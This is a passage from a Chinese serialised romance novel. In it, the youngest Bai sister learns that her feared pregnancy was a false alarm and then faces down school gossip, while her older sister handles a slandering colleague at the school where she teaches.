实则她心里倒是挺赞成——蒋二哥和自己这个二姐姐,一看就顶适合和知根知底的人谈爱情,现在虽然差一点,可从前也算是门当户对,多么般配!何况两个人都排行老二,这也是一种缘分呀! 就是蒋二哥从前大姐夫变成了未来的二姐夫,实在一种电影里才有的戏剧性。 不过自己横竖管他叫“姐夫”,也就是了。 白瑾琪当然不敢把这个“戏剧性”分享给白瑾瑜,一吃完饭,就小尾巴似的蹭到她身边,悄悄伸手比了自己的肚子,试探地问道:“我们什么时候去” 白瑾瑜似乎早考虑好了,点一点头道:“今天下午就带你去医院,不过你现在这样子可不行,我得给你做一做伪装。” 说着,把她拉去房间,换了一身白瑾璎的素色长裙,把头发盘在脑后梳了一个髻不说,又描了眉毛,往脸上扑了厚厚一层香粉。这一番倒腾,直把小姑娘的灵动掩盖住八分,改作一副半青不熟的气质。 白瑾琪照了照镜子,还怪不满意哩,扯着寡淡的衣服嘟囔:“真难看,我活像老了十岁。” 白瑾瑜却很满意,和虞妈知会了一声,便领着她出门了。 汽车一路开去了就近的大医院,在走进大门时,白瑾琪便又感到不自在了,那种做了错事的心虚羞耻再次冒出头来,仿佛周围人无形的目光,又爬满了脊背。 她跟在白瑾瑜的身后,几乎无暇去看各个科室的标牌,只管跟着眼前的人走。而白瑾瑜的步态是很从容的,脊梁挺直,仿佛在父亲丧礼后也有那么一瞬间,自己从这纤秀挺拔的背影上,汲取到过巨大的力量。 妇科诊室终于到了,门口的看护士递来一本册子请她们做登记。 白瑾琪不由得打一个寒噤,下意识把冰凉发僵的手背到了身后。想不到白瑾瑜根本也没有看她,径自拿起笔签了自己的名字,对那看护士说:“我陪朋友来做一个检查,这就进去了。” 第76章 第 76 章 到底是年轻人,连怀孕这…… 诊室里, 依旧是一位女大夫坐诊。抬头望了她二人一眼,见两个都是青春美丽的女子,一时倒有些搞不清楚, 问了句:“是哪一位要做检查?” 白瑾瑜拍了拍白瑾琪的肩膀, 后者也就怯怯地走上前几步, 说:“是我。”手指紧张地缠在一起, 一张桃心的小脸低低地埋着。 她虽然往年长了去打扮, 但到底年纪和阅历摆在那里,眼睛里的稚气是藏不住的。那女大夫在医院里见过形形色色的人,兴许在她身上觉察出这一种矛盾,略带试探地问:“你小姐看着年纪不大, 这么早就决定要孩子了吗?” 白瑾琪被问得一懵, 还来不及做出反应, 白瑾瑜懊恼的声音已先她一步发话了,“可不是太早了吗!我这个朋友, 从前我就劝她不要心急, 不要结婚, 可她不听我的呀。结果她先生待她很不好, 自己伤心也就算了,再拖一个孩子, 那不是造孽吗?你看, 连今天怀孕做检查, 她先生也不陪她来, 还要我这个朋友来陪。” 又做出恶狠狠的样子,接着道:“告诉你吧,这个孩子,我是支持打掉的。不要觉得我这个当朋友的狠心, 我是为着你长长久久的一辈子着想呢。” 说罢叹一口气,往旁边的椅子上一坐,甚至将头撇向一边,真对她这个“朋友”表示恨铁不成钢似的。 白瑾琪起初听着这套说辞,惊得都要找不着北了,但很快便领会过来——大姐姐是在和她演戏呢!现在她就不是“白瑾琪”,而是个结了婚被苛待,又不巧怀孕了的“好朋友”。 也不知怎么的,白瑾琪的紧张立时便消去一半,似乎换了个身份,那份紧张羞愧也都不属于自己了,甚至心想:大姐姐这是给我派了一个角色呢,我可得把她演好! 一想这些天来自己顶着的压力,一阵委屈劲儿上来,眼眶就半湿了,又强忍住心酸似的道:“别说了,我心里也后悔得很,可惜这世上是没有后悔药的。” 倒是白瑾瑜被她说来就来的眼泪怔了一怔,呆呆地望了她一眼,连下一句要接什么话都忘了,只顾着想:这个小妮子说喜欢艺术喜欢演戏,倒真不是说假的。 白瑾瑜虽没有接住这一场戏,但好歹那女大夫已然受了些感动,宽慰了一句:“可不是,如今不负责任的男子太多了,结了婚也没有做丈夫的样子,实在可恨。好了,你小姐先躺下吧。”手上拿过一旁的登记册,问:“你小姐叫白瑾瑜吗?” 白瑾瑜在边上插话道:“不是她,是我。她是从外省来的首都,登记我的名字方便些,往后不拘她来检查还是手术,我都陪着。如今的男子靠不住,我这个当朋友的要是再靠不住,那怎么行?” 那女大夫听了,倒是对她露了个微笑,说:“有你这样的朋友,那就不错。”说着,将听脉器戴到耳朵里,拿了圆形的那一头按在白瑾琪的肚子上听,可听了好一会儿都没有做声,反而拧起了眉头。 白瑾琪一颗心给悬到了高空似的,就怕从那大夫嘴里说出什么噩耗来,抖着声音问:“怎么了?不、不大好吗?” 那女大夫又换地方听了几下,这才摘了听脉器道:“你小姐是不是弄错了,我看你并没有怀孕啊。” 这句话非同小可,简直要把这一桩大事故,这段时间以来的憋闷争吵和眼泪,都定义为一场闹剧了!不说白瑾琪,连白瑾瑜都愣在了当场。好一会儿,白瑾琪才恍惚着呢喃了一句:“怎么会?” 那女大夫望了她一眼,说:“我是用仪器听的,还能有错吗?你小姐就是没有怀孕。”连神情也带上了无奈好笑,似乎在说“到底是年轻人,做起事来稀里糊涂的,连怀孕这样的大事也能弄错”。 还是白瑾瑜最先回过神来,激动地鼓了一下掌道:“太好了!这是老天保佑,你和孩子,谁也不用遭罪了!” 随后,在那女大夫的建议下,又带着白瑾琪去看了看胃肠科,说不规律的饮食或是情绪紧张,也会导致癸水不来。要是节食久了再大鱼大肉,难免就有恶心呕吐的症状,胃也是要出毛病的。 这之后,白瑾琪就跟被抽了魂的提线木偶似的,跟着白瑾瑜一连去了好几个诊室,医生说了什么,全然没听进耳朵,只有一个声音在脑子里远远近近地回响着:“你没有怀孕,都是你自己吓自己呢。” 这一颗忽上忽下悬了那么久的心啊,终于终于,这一次是彻底地落地了。 白瑾琪魂不守舍地被提溜了一路,坐回到车上后,再也忍不住,捂着脸嚎啕大哭起来。 这一场乌龙啊!这一场闹剧啊!为着这个莫名其妙臆想出来的孩子,自己担了多少害怕,咽了多少的眼泪,又看透了多少人心:郑家树没有担当,每每都回避自己的话题;陈芳藻没有责任,再一次抛下自己转身就走,最后还是只有—— 白瑾瑜坐在旁边,拿这个哭得涕泗横流的小妹妹没有办法。她当惯了运筹帷幄的角色,反而不太会温柔那一套,哄也不知道怎么哄,只能生硬地安慰了一句:“哭什么,这不是件好事吗?” 话还没说完,就觉得怀里一沉,原来是白瑾琪整个人扑到她怀里,干脆抱着她哭了。 白瑾瑜一时僵在原地,心里有一种说不出的滋味——她和白瑾琪,从来没有像这样拥抱过,毋宁说,她就不是可以轻易和别人拥抱的性格。回想她们从前的日子,不服气过吵闹过也针锋相对过,实实在在的,没有一刻像此刻这样彼此贴近过。 白瑾琪从前总说她更亲近白瑾璎,老是想把自己排挤出去。白瑾瑜扪心自问,这话其实没错,白瑾琪总归有一个陈芳藻,姐姐再亲近,还能比得过亲妈吗? 但现在她却真实地感受到,自己有着两个妹妹,手心与手背,哪个都重要。 在白瑾琪嚎哭一阵后,终于略显笨拙地抬起手,拍着这个小妹妹单薄的肩背道:“好了,没事了,我们可以回家了。” 白瑾琪这一哭,好比用眼泪把所有郁结的坏情绪都冲走了一般,第二天除了眼睛有点肿,整个人可谓精神焕发。此前对学校的恐惧情绪,也尽数没有了,雄赳赳气昂昂地踏进了校门。 但饶是她神经大条,还是觉察到周围的气氛不大对劲,似乎总有人在背后窥视指点她,随后又掩着嘴窃窃私语。在教室里是这样,到了戏剧社排练的时候,又是如此。 这件事要是放在两天前,白瑾琪一准心虚到崩溃的,可她如今正是甩开了最重的包袱,格外的坦荡磊落。当下在两个女学生说小话的时候,直截了当地问:“你们到底在说我什么?有什么意见,不如当了面大声提出来。” 那两个女学生想不到她如此直白大胆,一时倒愣了,双双憋红了脸说不出话来。 白瑾琪便不大高兴,拧着眉头道:“既然自己也知道是说不出口的话,那就不要说了,我瞧着也闹心。” 那女学生被白瑾琪撅了这一句,格外不服气似的,涨红了脸,很硬气地回嘴道:“我、我是说不出口呀,横竖我也做不出这样的事!” 为着她们说话的声音并不小,周围排练的学生大都停下了手上的事,要么伸长了脖子远远地观望着,要么干脆靠拢了围过来,个个脸上带着看热闹的神态,想必对于这件事,都是心知肚明的。 白瑾琪最厌烦受制于人了,谁要想控制她,即便是白瑾瑜她也敢对着干。干脆撇开那两个女学生不管,转而向周围的众人一摊手,道:“哪一位能来给我解惑呢?” 人群里安静了片刻,随即又骚乱片刻,终于有一个毕业班的女学生,端了很威仪的架子道:“白同学,有传闻说你怀孕了。最近这段时间你情绪低落,又被人瞧见过在厕所呕吐,都是因为怀孕的缘故,这是不是真的呢?” 大概是有了这个发言的领头羊,人群里顷刻间冒出许多附和的声音。 有的说:“这年头固然有人结婚很早,可就我所知,白同学还没有结婚吧?”又有人说:“这么多表征都对上了,我看八成是真的。这事儿多么不光彩,她倒好,还上赶着去问呢!” 一时间,拿什么眼色看白瑾琪的都有,连带着那两个女学生都觉得自己占理,将腰杆子挺直了一些。 戏剧社的正副两位社长,就是在那领头羊说话的时候走进礼堂的,等进到了人群的中心,那漫天或批判或讽刺的言辞,已如洪水一般淹没过来。胡小梦高举了手叫停道:“都安静!都安静!吵什么吵?把这里当做茶社吗?还要不要排练了!” 与她不同的是,郑家树呆立在白瑾琪几步开外的地方,一句话也说不出来。 想到此前白瑾琪也隐晦地向他提起过“怀孕”,心里又是震惊又是讶异,混杂着许多其他的情绪一股脑地冲向他。一时之间,一双眼睛,只管痴痴地盯着白瑾琪不放。 可惜白瑾琪并没有看他,她看的是藏身在人群里的程巧书,由她脸上那一种得逞又得意的表情,也可以知道这一场流言的始作俑者,就是她无疑了。 第77章 第 77 章 两手清脆地一拍又分开,…… 仔细想想, 程巧书会知道也不无可能。尽管她和郑家树的恋爱是私下进行的,但架不住程巧书把她当做眼中钉,时时刻刻地盯着她, 难免有被她发现疏漏的时候。 坏就坏在, 她自认为放出了最致命的一条谣言, 想不到是假的。 白瑾琪一点儿不怕她, 甚至没有做出愤怒委屈的样子, 而是在心里回想白瑾瑜对付白齐昌时的姿态,模仿那一种凛凛然不可侵犯的威仪,冷哼了一声澄清道:“光凭这一点就造我的谣吗?告诉你们吧,我是为着新剧目的角色去节食, 把胃给搞坏了。前阵子刚去看过肠胃科的医生, 他写的病历和单据, 我都还留着呢!” 她这话说得很冷硬,加之神情里还带着嘲笑轻蔑之色, 戏剧社众人顿时哗然, 窸窸窣窣地窃窃议论, 没一个敢正面答复她。 白瑾琪黑亮的眼珠在人群里转了一圈, 最终落到那毕业班的女同学身上,很强势地问:“你的问题, 我回答你了, 现在轮到我来问。你说我怀孕了, 这话你是从哪儿听来的?” 那高年级女学生的脸色变了又变, 到底露出一点难堪,说:“总归是我听别人说的,私下里议论的人并不少呀,你要问我的罪吗?” 白瑾琪冷笑了一声, 目光锐利地盯牢了她,道:“问你的罪,那不至于,你就说从谁那里听来的就是了。你们平时捕风捉影,爱嚼别人的舌根子就算了,可这一次的造谣太大太严重了,简直就是诽谤污蔑!真当我不会发火吗!” 说到这里,脸色当即板下来,手里卷着的台词本子也重重地往桌子上一砸,大声道:“谣言总归有出处,我就一个一个地往下摸,非把这始作俑者揪出来不可!” 一句话掷地有声,若说刚才还有人窃窃私语,现在真是安静一片,小礼堂里有一个算一个,都是大气也不敢出。 早在白瑾琪声明搞坏了胃的时候,程巧书就在心里暗道不好,自己的计划,恐怕要宣告失败了。同时又惊疑不信,白瑾琪和郑家树的对话,自己可是偷听到了,怎么可能不是怀孕呢?! 等到白瑾琪说要追查的时候,程巧书才是真慌了。 她此前已经放出过一次白瑾琪与郑家树恋爱的谣言,可惜没能掀起什么风浪,这一次又阴差阳错地造谣太过,要是不巧真被揪出来,两罪并罚,自己的脸面和声誉,也不必要了!得赶紧有个人,将话题岔开才好! 只是要她自己做这只出头鸟,那是万万不可能的。 程巧书暗地里向旁边的钱瑞芝使眼色,可惜后者自己也是噤若寒蝉,有意避开了不接。她心里又气又急,伸手在钱瑞芝胳膊上重重地拧了一下,后者疼得几乎要跳起来,在这胁迫之下,只好战战兢兢地充当她的喉舌。 硬着脖子道:“即便怀孕的传闻是假的,你和郑学长恋爱的事,总不能也是假的吧?我看见你们你们举止很亲密呢。”声音越说越轻,多少透露出心虚的意味。 这一下,众人的目光不光看向白瑾琪,也同样看向站在她旁边的郑家树了。 郑家树的心情从刚才起便激荡不已,他承认,若真要追溯到最初,自己对白瑾琪的感情是不大认真的,那是他错了!此前白瑾琪的假设论吓着了他,以至于这段时间他都刻意疏远,想必这也很伤瑾琪的心,这又是他的错!如今自己心爱的女孩受人非议,难道自己还不能拿出一点担当吗? 他心里忽而又涌上一股热烈的豪情:为着受到多一点人的追捧,难道自己有了爱人也不能承认吗?没有这样的道理。 郑家树被这念头鼓动着,对于白瑾琪的爱慕,也一下一下地叩击着心门,刚要开口回应,想不到白瑾琪快他一步,一开口,又是一声冷哼。 “举止亲密?怎么样算举止亲密?郑社长和这一剧目的女主人公,举止也很亲密哩!表演里说的‘入戏,你不晓得吗?照你这样说,咱们社长岂不成了见谁都爱的混账?都是胡扯!” 这是什么意思?和他亲密是‘入戏,所以现在是要‘出戏了吗?郑家树简直要被她话里的冷漠刺伤了。 只是还不等他表露出来,又听另一个同学道:“指不定真是假的,我听我们班的姚雯说,她带着她朋友去问过白同学的,人家当时就否认了。还说家里人都反对艺术表演,要是再找一个演戏剧的男友,家里人能同意吗?” 此话一出,立刻有人附和道:“对对对,我好像也听说过,白同学还很伤心哩,担心自己的艺术之路要受到阻拦,姚雯说还安慰了她几句。” 当下议论声又起,一边倒地帮白瑾琪说话,仔细听来,竟没一个相信白瑾琪会和郑家树谈爱情的。至此,舆论的风向已然彻底颠倒了个个儿! 只是对于郑家树而言,这些议论声不亚于是从四面八方泼来的一盆盆凉水,将他一颗火热的心浇得湿透。他对于白瑾琪曾经说过这样的话,简直有些不可置信,可一想到自己也曾否认过两人的关系,有什么立场指责她呢?心里又没过懊恼悲凉。 他下意识握住白瑾琪的手臂,目光执拗地追着人不放,“瑾琪”两个字刚喊出一个“瑾”,就被娇俏的少女狠瞪了一眼,只好改口道:“白同学,我们谈一谈。” 白瑾琪伸着手指指了他的手,正色道:“快放开,拉拉扯扯像什么样子,还以为现在是在演戏吗?等一下,又要被人说是‘举止亲密了。” 郑家树咬着牙,再不情愿也只能先放手。 白瑾琪这才满意了一点,说:“我是该和你谈一谈,关于谣言中伤我的事,社里总要给我一个说法。不然,我也没心情排练了!”说罢,把手上的台词一丢,挺着胸膛先行走出了小礼堂。 郑家树追在她身后,好几次想要伸手拉人,都受到了白瑾琪的眼神警告。直到两人走进一间空教室,确定没有第三者的耳目了,他才终于忍不住地将白瑾琪抱到怀里,半愧疚半委屈道:“瑾琪,你是存心说那些话气我的吗?我知道我做错了。” 白瑾琪已然决定要和他拗断了,当然不会费心哄他,直接挣脱了怀抱,道:“你当然做错了,我看你对感情也不大用心的样子,干脆我们好聚好散。”两手清脆地一拍又分开,好一个“一拍两散”。 郑家树不可置信地望了她,那一张俊脸配上这副神情,直如被雨淋湿的犬科动物,叫屈说:“什么叫好聚好散?我们都已经、已经——你不用对我负责任吗?” 白瑾琪一脸荒唐地看着他,“哈哈”干笑了两声道:“我没有听错吧?我还没有向你问责,你倒要叫我负责任了!多么可笑!” 郑家树抢道:“我愿意负责任!你说我不够用心,放在从前,这话很对,我认!可我现在待你的心意,是千真万确的呀!要怎么让你相信呢?不如就约了双方的长辈出来,谈一谈婚事吧!” 他从前一贯是从容又风度翩翩的样子,鲜少有这样情绪激动的时刻,难得激动一回,说出的话差点把白瑾琪吓死。 赶紧驳回道:“说什么婚事!年纪轻轻就走进这座坟墓里,我发疯吗?你也不要标榜自己的心意,不拘你现在感情多深,那也迟了!” 郑家树看她一副无动于衷的样子,真是毫无办法,呼吸都急促了起来,又要试图牵她的手,一面道:“哪里迟了?感情的事,只有论真切,没有论早晚。何况我们两个,谁也没有喜欢上别人,那就不算迟。” 白瑾琪躲着他,干脆把手背到了背后,强硬道:“怎么不论早晚?譬如一个母亲抛下了自己的孩子,等到孩子长大了出息了,又跑回来忏悔,说妈妈爱你,从没有一天不惦记你,这是什么用意?这不是笑话吗?迟来的感情,可不是比草还贱?” 郑家树一点也说不过她,到最后,竟生出一丝恼意,也不知是对白瑾琪的无情,还是对自己的无力。破罐子破摔般道:“你说我没有用心,那么你呢?设若你家里人果真坚决反对,那你同我恋爱,不就是在玩弄我吗?还是你所说的反对,根本也是个谎话呢?” 白瑾琪当然只是想玩爱情的游戏,并不用心,可是反过来想:好在自己不用心!设若自己果真痴心一片,那才是亏大了! 是以心里一点“玩弄别人”的愧疚也无,又把皮球踢了回去,道:“你那时候既不顾念我,也不站在我这边,我不这样说,等着被你那群爱慕者欺负死吗?我们女子凡事以保护自己为优先,哪里做错了?如今你拿这点来指责我,我更要看不起你了!” 郑家树本来也是孤注一掷,想使一个激将法,想不到反而弄巧成拙,听到白瑾琪说“看不起他”时,脸色煞白一片,当下抿直了嘴唇,再不说话了。 白瑾琪等了几秒,对面都不再发起进攻,料想是被自己说服了,这才乘胜追击道:“咱们之间的事,不必再去提,但这一次造谣中伤的事,你预备怎么办呢?” 她冷哼了一声,“你今天也都听到了,戏剧社那群人,把我议论得多么不堪,你们这些戏剧社的领袖,当真一点不知道吗?没有加以制止,于公,你这个社长就有管理不力的责任;于私,呵,你更脱不掉干系了!” 郑家树垂着眸子望了她,那幽深的眼睛里似乎藏了许许多多的情绪,半晌才泄气一般,开口道:“那你要我怎么样呢?我都照做。或者我向所有人宣布我的过错,而你是我的——” 白瑾琪赶紧打断他:“你又来了!咱们两个当然是分手!不然我今天说过的话,岂不成了天大的笑话?我的要求也简单——我要你代表戏剧社公开表示道歉,你不是说你之前做错了吗?那就拿出一点补偿的诚意来呀。” 白瑾琪的诉求多么明确,简直没有任何转圜的余地,郑家树垂在两侧的手攥得死紧,终于终于,说了一句“好”。 只是那神情是很落寞的,和舞台上意气风发的他,生活里风度翩翩的他,和从前任何一个时刻的他,都不一样。 第78章 第 78 章 你的蒋二哥和你说了那么…… 这一次, 光鲜体面的胜利女神依然站在白瑾琪这边。 第二天戏剧社的排练开始前,郑家树便当众宣读了对于白瑾琪的致歉书,大致是他作为社长, 对社团内的荒谬舆论疏于管理, 而他本人, 对于自己和白的绯闻也没有及时澄清, 特此对白瑾琪同学表示歉意云云。 他那时的神态是很灰败的, 还掺杂了许多失意,当然,他的追随者们大可以将其解读为愧疚,继续视他作一尊有责任心的偶像。 与郑家树相对的, 白瑾琪则是格外的精神焕发, 在郑家树宣读致歉书时她正坐在台下, 听完了,还煞有介事地点了点头表示接受, 评价道:“这才像话。其实, 社员们多少把社团看做一个大家庭, 这个大家庭, 总算还没有让它的社员太失望。” 说罢,自顾自拍了拍裙摆站起来, 跑去一边背诵台词了。 回家后, 那十足的得意劲儿才透出来, 在白瑾璎的床上打了个滚, 仰着头道:“二姐姐,你听我的,你就揪着一件他们误会你的错处不放,把十分的道理讲成十二分, 横竖他们就是个‘错’,还能不投降吗?” 白瑾璎看她又是生龙活虎的样子,心里的高兴甚至快压过自己那些烦心事了,微笑道:“我太不会吵架了,看来,在为自己争取利益这一点上,我还要向你学习呢。” 白瑾琪受了一个女学究要向她学习的恭维,竟然羞涩起来,“啊呀”一声在床上坐起来,捂着脸道:“我这些算什么” 亮晶晶的眼睛向白瑾璎一望,凑过去依偎在她肩上撒娇,“要是可以,真想把大姐姐身上的狠心分你两分,再把我的狡辩和好斗分你——分你一半!这样就谁也欺负不了你了。” 刚说完,就听一道调侃的声音响起道,“你也知道你那是狡辩呀?”原来是白瑾瑜也上楼来了,正抱了手臂,倚在打开着的房门边上打趣。 白瑾璎向她微微地一笑,转头又摸了摸白瑾琪的头发,问:“你最近见着隔壁的余先生没有呢?人家上回大半夜的送你回家,很值得去道声谢呢。”想了想又说,“不光是你,我也应该去谢谢人家。” 想不到白瑾瑜接话道:“不要紧,我已经替你谢过了。我今天回来时刚好碰上他,便请他吃了顿饭,还顺路载了他一程。他最近很忙碌哩,为着那天把一个卫生所里的女孩及时送去了医院的缘故,他们同组的人都被授了一面锦旗,眼下,余先生很有受到上峰赏识的意思。” 白瑾琪从白瑾璎的肩上抬起头,问:“那女孩儿没事吗?” 白瑾瑜微笑一下,说:“据余佰说的,还好送去得早,人没有事。并且那女孩还愿意受他们的采访,不过在报纸上登出时,肯定是会隐去姓名的。” 看白瑾琪明显松了一口气的样子,也不去戳穿她,只是把人从床上拎下来,道:“行了,快回房间看书去,再不爱念书,期末测试子总要考一个及格吧?我和你二姐姐有事要谈呢。” 把那个小的送走了,白瑾瑜关上房门,这才施施然坐到化妆凳上,问白瑾璎道:“明天你就上班了,学校里那场斗争,无论如何也要去面对。我就是想问问你,老师这一份职业,你究竟喜不喜欢呢?” 叫人意外的是,白瑾璎倒没有露出纠结苦恼的神态,而是很淡然地道:“这件事,蒋二哥也和我谈过。在我自己,当然也喜欢教人知识,可是仔细想一想,教的是谁,多一点少一点,我是没有所谓的。学校这地方,我总以为很神圣纯净,可是真去教了书才发现,不是所有学校都这样。至少我所在的学校,不拘学生还是老师,明里暗里就有许多纠纷,我实在应付不来。” 白瑾璎抿了个微笑,又说:“蒋二哥说,我这样的性格比起挑工作,更要紧的是挑工作的环境。要是环境不好,个个想着挑刺嫉妒,可我又做不来挑刺嫉妒的事,那是很受压抑的,我自己的本领和价值,反倒不能发挥出来。” 白瑾瑜听着她左一个“蒋二哥”右一个“蒋二哥”,只觉得胃里一抽一抽的膈应,即便他蒋牧城说得很对,和她的想法不谋而合,心里也很不爽快。 她默默翻一个白眼,这才摆出很亲和的笑脸问:“那末你是想好了,要把学校的职务辞掉吗?这我是赞同的。你可以在家专心译注,然后去应聘外交部门的职务,不说那里都是受过很高教育的文人,思想品格有多么高明,至少不会有莫名其妙的‘家长,不分青红皂白地跑来投诉你呀。” 白瑾璎被逗笑了一下,很快又面露为难道:“只是想好归想好,我要怎么和秦校长开口请辞呢?她平时很关照我,我倒先甩手不干了。” 白瑾瑜叹一口气,无奈地笑道:“我看刚才老三有一句话说的很对,就该把我的狠心分你两分,你为别人考虑的,也太多了。你们那女校长,大概人不坏,可她再好,做事也是从整个学校的利益出发,譬如上回,她不还是让你把教案分享给那姓缪的看吗?就因为她说了一句‘委屈你了,你就受感动了吗?你就是对谁都太好心了。” 伸了手指冲她一点,揶揄道:“你的蒋二哥和你说了那么多,有没有说过,你真好骗呢?” 白瑾璎真像给她隔空戳到了要害一般,瞪圆了眼睛,一下羞涩一下又沮丧,最后干脆闭上嘴不说话了。好半晌才闷闷地问:“那我要怎么说呢?” 白瑾瑜愉快道:“这个简单。”扭头在白瑾璎的梳妆台上巡视一圈,开了个圆形的小首饰盒,拿了白瑾璎母亲从前戴过的一枚钻戒捏在手上,回头道:“来,手给我。” 拉了白瑾璎递过来的左手,把那枚钻戒往她中指上一套,说:“我告诉你,你就这样——” 第二天,还是期中测试汇报的那间会议室,一众教师齐齐落座。 程佩生坐在秦校长的右手边,正是白瑾璎斜前方的位置。他本想在会议开始前向白瑾璎露一个微笑,示意请她安心,只是视线望过去,对方总也是垂眸端坐,自己一番安慰她的心思,也就无处可以寄托了。 秦校长也终于从天津赶了回来,看了这一次月度小考的成绩,心情倒是很好。会议一开始便着重表扬了白瑾璎,道:“六班这次实在是一鸣惊人,洋文测试的平均成绩,竟然把三班都超过了!有这样进步的势头,不怕期末拿不出一份喜报!” 冲白瑾璎很和气地笑道:“白老师,你实在功不可没,我也不知怎样夸你好。” 白瑾璎便也回了一个微笑,谦虚道:“不光是我的功劳,六班的学生,最近学习的劲头很足,等开完了会,我也要回去夸夸他们。”又说,“至于我自己,就是尽我的努力去教,对于学生和家长,也算不辜负了。” 她在“家长”一词上咬了一点重音,秦校长因为一早听程佩生汇报了校内流言和家长投诉事件的经过,知道白瑾璎嘴上不说,心里恐怕还是有些不舒坦,是需要自己去安抚的。 但别的老师却不清楚内情,尤其是吴老师很爱参与鼓励和表彰,笑嘻嘻道:“后进班超过先进班,这是从没有过的事。了不起,了不起,不如我们给白老师鼓个掌吧?”带头鼓起掌来。 在一片掌声里,只有缪昌平带着一点嘲讽的神情,嗤笑了一声。那意思像是在说:不是说把教案原样分享给我了吗?竟然还赶超我这么多,不要是藏私了吧? 他抽空偷觑了一眼秦校长的脸色,以便判断自己要不要质问一下,不料正撞上对方明显带了警告的目光,心里一抖,也就把发难的心思歇下了。 偏偏这个时候,白瑾璎抬手翻了一页笔记,缪昌平的眼睛多么尖,一下就看到了她手指上戴着的钻石戒指,从前这白老师手上,可没有这样东西哩! 缪昌平本来就一心想给白瑾璎难堪,当下拔高了声音,揶揄道:“啊呀!白老师怎么戴上戒指了?不要是——”他将视线转向程佩生,故意挤眉弄眼道,“恭喜恭喜,你和程□□的动作,也太快了。” 反观程佩生的面色,在看见白瑾璎手上的戒指后,一下就灰败了,又有一种结局果真如此的自嘲。 他表现得越是失意,缪昌平就越是得意,看着程佩生沉下的嘴角,故作惊讶道:“咦?原来不是程□□吗?”随后又一拍自己的脑门,恍然道,“哦,对,那一定是开了林肯汽车接送你上下班的小开了。白老师,恭喜你啊,就是不要像之前的陈老师那样,找着了金龟婿就扭头辞职不干了。” 缪昌平这一通话说完,会议室里早已经是鸦雀无声。 在座的老师,多少知道他和白瑾璎之间不大愉快,只是白瑾璎脾气好不计较,彼此也没有吵到明面上,也就装装糊涂,维持表面的和平。想不到缪昌平这次竟然狗急跳墙,当了校长的面直接叫起板来,一时间都震惊非常。 还有白瑾璎和程佩生之间的绯闻,还没等到秦校长过问,也一股脑的,统统被他扯开了摊在台面上。 第79章 第 79 章 “瑾璎,怎么我就是未婚…… 白瑾璎听着缪昌平一番含沙射影的话, 几乎要气得发抖,她甚至觉得不可思议,世上怎么会有这样的无耻之人。 只是想到昨晚上白瑾瑜教过自己的说辞, 到底把那一阵愤怒又委屈的情绪控制下去, 稳了稳声音道:“你看到的那辆林肯汽车, 是我未婚夫的, 本来我们就是很稳定的感情。” 说到未婚夫时, 也不知是因为撒了一个小谎还是想到了蒋牧城的缘故,脸上不免透出一点羞赧之色,但很快又转为恹恹,“至于你说到程□□想不到学校里出了这样子虚乌有的谣传, 我自己难过不算, 我未婚夫也很生气, 说‘累死累活,反倒还受侮辱。按他的意思, 是坚决反对让我在三中继续教书的。” 说到这里, 秦校长第一个拧起了眉头。 她对外表示出了一点焦急的神态, 那么心里的急切, 想必已到达了十分,当下严厉声明道:“这一件事, 我已经听程□□汇报过了, 简直是荒谬!我向你保证, 一定严查严惩, 看看这谣言是从谁那儿传出来的,不拘老师还是学生,我绝不会姑息!” 秦校长吁出一口浊气,转而又对白瑾璎安抚道:“白老师, 你的工作做得如何,所有人都看在眼里,谁也不能说你一句不好。但辞职的事,实在值得再好好想想。” 其实不光是秦校长,除缪昌平以外的其余老师,也大多不希望白瑾璎请辞。 这道理是明摆着的,谁都看得出白瑾璎是真有学识和本领,但凡有她在,期末考学的成绩势必可以再往上提一提,首都第三中学有了名气,自己这个老师不也跟着水涨船高吗? 现在好了,为了这要命的绯闻,白老师要辞职了! 想想人家未婚夫是开豪车的,可见经济上十分的宽裕,完全是可以毫无顾虑,说走人就走人的呀! 可设若她在这节骨眼上走了,不说能不能马上聘到另一个洋文老师,就是期末考学的分数,那就决计不可能上升,自己那水涨船高的美梦,不也跟着打了水漂吗? 是以,当下就有几个老师附和着秦校长安抚起来,有的说“如今新时代的女性都讲独立,有一份工作傍身,总不是坏事呀”;也有的半开玩笑说,“白老师和未婚夫关系好,可也不要什么都听他的,不得把人惯得蹬鼻子上脸呀?” 还剩下一半老师,虽然嘴上不说,心里也清楚这一次的绯闻事件,多半有缪昌平这个搅事精从中作梗,于是纷纷拿或鄙夷或厌恶的目光,将他瞪着。 白瑾璎虽然确实想要请辞,但也不愿把场面闹得太僵,笑一笑道:“这件事,当然还要和家里人再商量,即便我要请辞,也不能选在这个临近考试的节骨眼上,丢下这么大个摊子,给谁去接呢?我手上这一届毕业班,总要教完,做一个善始善终。” 有她这句话,当即所有人的面色都舒缓下来,尤其秦校长,终于露出一点笑容道:“好吧,白老师,会议结束后你来找我,我们再谈一谈吧。” 微微一点头后,重新扭过头来面向正中,宣布道:“另外,还有一件事要通知大家,为着教育部有新的人事调动,程□□从下个月起就要转调去别的学校了。他在我们学校的任期虽然短,工作却做得很好,我们同样鼓掌以表示感谢吧。” 众人纷纷鼓掌。 只是在掌声的同时,多少有几个人露出狐疑猜测的神情,觉得程□□的调动,莫不是也和这次的绯闻事件有关? 答案当然是有关。 程佩生思忖再三,最终是自己向教育部递了调动申请,以为这种自我牺牲的做法,可以破解当下的困局,也能让白瑾璎不至于日日尴尬。想不到自己退一步,白瑾璎同样退开一步,到底这一份“好心”,也没有让她实质地获益,终归又是错开了。 其实也无所谓错开不错开,从头到尾,人家对我就无意呀。 仔细想想,那么多次对话,她对我的拒绝,还不够明显吗?对于心爱的女子,我固然可以表示出追求,但设若对方已经回绝,我再穷追不放,那不是无赖无耻吗?这又何必。不要临了了,连个好印象也不留吧。 程佩生最后向白瑾璎望了一眼,后者轻轻地拍着手,正侧过身听旁边的女老师讲话,仍然没有往这里看。他擒着一抹苦笑,到底将凝望的目光,收回了。 一场会议下来,心情最为跌宕起伏的,大概还得属缪昌平。他虽中途得意一时,但在秦校长正色说要“严查严办”时,他心里便已然打起鼓来,更不必说同座的几个老师瞪他的时候,外头这么冷的天,他都心虚心慌得浑身冒汗。 自己散布谣言的事,恐怕是藏不住了,到那时候这秦校长不要真把他开了吧? 缪昌平不禁打一个冷颤,当即又安慰自己道:不能够,不能够,自己好歹在首都三中任教多年了,教学的水平大概比不上姓白的,可也绝对不差呀,何至于就让我走?别看那姓白的现在话说得漂亮,有那好的条件,估计就是要辞职去当阔太太的。倒时候她走了,再把我辞退,好哇!一铲子推平了再重新找老师吗?当校长的,总不能这点大局观都没有。 